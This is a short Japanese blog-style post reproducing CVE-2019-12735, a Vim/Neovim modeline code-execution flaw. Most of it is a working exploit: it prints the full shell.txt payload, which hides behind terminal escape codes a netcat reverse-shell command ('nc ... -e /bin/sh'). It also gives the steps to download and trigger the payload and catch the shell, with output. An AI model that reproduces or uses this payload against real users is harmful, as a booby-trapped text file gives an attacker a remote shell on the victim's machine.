結構、簡単なハックでリモート接続が可能になる脆弱性があったので、試してみました。
対応するVimのバージョンなどは以下のとおりです。
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
Option: :set modeline(false)
vimはテキストファイルをsourceにしてコマンドを実行できます。それを悪用して、nc(netcat)
でサーバーを起動し、そこに接続します。特別に細工されたテキストファイルを開くことによって、modelineを介して任意のコードを実行できる脆弱性ということらしいです。
shell.txt
[?7lSNothing here.:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: [1G[KNothing here."[D
$ mkdir -p tmp
$ cd tmp
$ touch {1..2}
$ sudo pacman -S neovim --noconfirm
$ downgrade neovim
0.3.5
$ curl -sLO https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt
$ nvim shell.txt
---------------
$ nc -vlp 9999
ls
1
2
neovimの場合、成功するときとしない時がありました。何度かやってみるとできると思う。